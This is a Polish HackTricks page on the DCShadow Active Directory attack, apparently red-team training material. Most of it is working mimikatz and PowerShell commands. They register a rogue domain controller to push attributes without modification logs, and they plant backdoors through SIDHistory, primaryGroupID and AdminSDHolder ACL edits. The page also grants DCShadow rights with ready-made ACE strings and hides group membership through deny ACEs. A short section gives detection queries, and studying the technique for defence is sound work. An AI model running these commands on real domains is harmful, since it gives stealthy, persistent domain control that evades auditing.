DCShadow
Tip
Ucz się i ćwicz Hacking AWS:
HackTricks Training AWS Red Team Expert (ARTE)
Ucz się i ćwicz Hacking GCP:HackTricks Training GCP Red Team Expert (GRTE)
Ucz się i ćwicz Hacking Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Wsparcie dla HackTricks
- Sprawdź plany subskrypcyjne!
- Dołącz do 💬 grupy Discord lub grupy telegramowej lub śledź nas na Twitterze 🐦 @hacktricks_live.
- Dziel się trikami hackingowymi, przesyłając PR-y do HackTricks i HackTricks Cloud repozytoriów na githubie.
Podstawowe informacje
Rejestruje nowy Domain Controller w AD i używa go do push attributes (SIDHistory, SPNs…) na wskazanych obiektach bez pozostawiania jakichkolwiek logs dotyczących modyfikacji. Potrzebujesz DA uprawnień i musisz znajdować się w root domain.
Zauważ, że jeśli użyjesz nieprawidłowych danych, pojawią się dość brzydkie logs.
Aby przeprowadzić atak potrzebujesz 2 instancji mimikatz. Jedna z nich uruchomi RPC servers z uprawnieniami SYSTEM (musisz tutaj wskazać zmiany, które chcesz wykonać), a druga instancja zostanie użyta do push the values:
!+
!processtoken
lsadump::dcshadow /object:username /attribute:Description /value="My new description"
lsadump::dcshadow /push
Zauważ, że elevate::token nie zadziała w sesji mimikatz1, ponieważ to podniosło uprawnienia wątku, ale musimy podnieść uprawnienia procesu.
Możesz też wybrać obiekt “LDAP”: /object:CN=Administrator,CN=Users,DC=JEFFLAB,DC=local
Zmiany można wprowadzić z poziomu DA lub użytkownika z następującymi minimalnymi uprawnieniami:
- W obiekcie domeny:
- DS-Install-Replica (Dodaj/Usuń replikę w domenie)
- DS-Replication-Manage-Topology (Zarządzaj topologią replikacji)
- DS-Replication-Synchronize (Synchronizacja replikacji)
- Obiekt Sites (i jego potomków) w kontenerze Configuration:
- CreateChild and DeleteChild
- Obiekt komputera zarejestrowanego jako DC:
- WriteProperty (Not Write)
- Obiekt docelowy:
- WriteProperty (Not Write)
Możesz użyć Set-DCShadowPermissions aby nadać te uprawnienia nieuprzywilejowanemu użytkownikowi (zauważ, że pozostawi to pewne logi). To jest znacznie bardziej restrykcyjne niż posiadanie uprawnień DA.
For example: Set-DCShadowPermissions -FakeDC mcorp-student1 SAMAccountName root1user -Username student1 -Verbose This means that the username student1 when logged on in the machine mcorp-student1 has DCShadow permissions over the object root1user.
Używanie DCShadow do tworzenia backdoors
lsadump::dcshadow /object:student1 /attribute:SIDHistory /value:S-1-521-280534878-1496970234-700767426-519
lsadump::dcshadow /object:student1 /attribute:primaryGroupID /value:519
#First, get the ACE of an admin already in the Security Descriptor of AdminSDHolder: SY, BA, DA or -519
(New-Object System.DirectoryServices.DirectoryEntry("LDAP://CN=Admin SDHolder,CN=System,DC=moneycorp,DC=local")).psbase.Objec tSecurity.sddl
#Second, add to the ACE permissions to your user and push it using DCShadow
lsadump::dcshadow /object:CN=AdminSDHolder,CN=System,DC=moneycorp,DC=local /attribute:ntSecurityDescriptor /value:<whole modified ACL>
Nadużycie grupy podstawowej, luki w enumeracji i wykrywanie
primaryGroupIDjest oddzielnym atrybutem od listy grupymember. DCShadow/DSInternals mogą zapisać go bezpośrednio (np. ustawićprimaryGroupID=512dla Domain Admins) bez egzekwowania na maszynie przez LSASS, ale AD nadal przenosi użytkownika: zmiana PGID zawsze usuwa członkostwo w poprzedniej grupie podstawowej (to samo zachowanie dla dowolnej grupy docelowej), więc nie można zachować poprzedniego członkostwa w grupie podstawowej.- Domyślne narzędzia uniemożliwiają usunięcie użytkownika z jego obecnej grupy podstawowej (
ADUC,Remove-ADGroupMember), więc zmiana PGID zazwyczaj wymaga bezpośrednich zapisów w katalogu (DCShadow/Set-ADDBPrimaryGroup). - Raportowanie członkostwa jest niekonsekwentne:
- Zawiera członków pochodzących z grupy podstawowej:
Get-ADGroupMember "Domain Admins",net group "Domain Admins", ADUC/Admin Center. - Pomija członków pochodzących z grupy podstawowej:
Get-ADGroup "Domain Admins" -Properties member, ADSI Edit przy inspekcji atrybutumember,Get-ADUser <user> -Properties memberOf.
- Zawiera członków pochodzących z grupy podstawowej:
- Rekursywne sprawdzenia mogą pominąć członków grupy podstawowej, jeśli grupa podstawowa jest zagnieżdżona (np. PGID użytkownika wskazuje na zagnieżdżoną grupę wewnątrz Domain Admins);
Get-ADGroupMember -Recursivelub rekurencyjne filtry LDAP nie zwrócą takiego użytkownika, chyba że rekurencja jawnie rozwiąże grupy podstawowe. - Sztuczki z DACL: atakujący mogą deny ReadProperty na
primaryGroupIDna użytkowniku (lub na atrybuciemembergrupy dla grup niechronionych przez AdminSDHolder), ukrywając skuteczne członkostwo przed większością zapytań PowerShell;net groupnadal rozwiąże członkostwo. Grupy chronione przez AdminSDHolder zresetują takie denies.
Przykłady wykrywania/monitorowania:
# Find users whose primary group is not the default Domain Users (RID 513)
Get-ADUser -Filter * -Properties primaryGroup,primaryGroupID |
Where-Object { $_.primaryGroupID -ne 513 } |
Select-Object Name,SamAccountName,primaryGroupID,primaryGroup
# Find users where primaryGroupID cannot be read (likely denied via DACL)
Get-ADUser -Filter * -Properties primaryGroupID |
Where-Object { -not $_.primaryGroupID } |
Select-Object Name,SamAccountName
Porównaj grupy uprzywilejowane, zestawiając wynik Get-ADGroupMember z Get-ADGroup -Properties member lub ADSI Edit, aby wykryć rozbieżności wprowadzone przez primaryGroupID lub ukryte atrybuty.
Shadowception - Nadanie uprawnień DCShadow przy użyciu DCShadow (bez zmodyfikowanych logów uprawnień)
Musimy dopisać następujące ACE z SID naszego użytkownika na końcu:
- Na obiekcie domeny:
(OA;;CR;1131f6ac-9c07-11d1-f79f-00c04fc2dcd2;;UserSID)(OA;;CR;9923a32a-3607-11d2-b9be-0000f87a36b2;;UserSID)(OA;;CR;1131f6ab-9c07-11d1-f79f-00c04fc2dcd2;;UserSID)- Na obiekcie komputera atakującego:
(A;;WP;;;UserSID) - Na obiekcie docelowego użytkownika:
(A;;WP;;;UserSID) - Na obiekcie Sites w kontenerze Configuration:
(A;CI;CCDC;;;UserSID)
Aby uzyskać bieżące ACE obiektu: (New-Object System.DirectoryServices.DirectoryEntry("LDAP://DC=moneycorp,DC=loca l")).psbase.ObjectSecurity.sddl
Zwróć uwagę, że w tym przypadku musisz wprowadzić kilka zmian, a nie tylko jedną. Dlatego, w sesji mimikatz1 (RPC server) użyj parametru /stack z każdą zmianą, którą chcesz wprowadzić. Dzięki temu będziesz musiał wykonać /push tylko raz, aby zastosować wszystkie zaległe zmiany na fałszywym serwerze.
More information about DCShadow in ired.team.
Źródła
- TrustedSec - Adventures in Primary Group Behavior, Reporting, and Exploitation
- DCShadow write-up in ired.team
Tip
Ucz się i ćwicz Hacking AWS:
HackTricks Training AWS Red Team Expert (ARTE)
Ucz się i ćwicz Hacking GCP:HackTricks Training GCP Red Team Expert (GRTE)
Ucz się i ćwicz Hacking Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Wsparcie dla HackTricks
- Sprawdź plany subskrypcyjne!
- Dołącz do 💬 grupy Discord lub grupy telegramowej lub śledź nas na Twitterze 🐦 @hacktricks_live.
- Dziel się trikami hackingowymi, przesyłając PR-y do HackTricks i HackTricks Cloud repozytoriów na githubie.


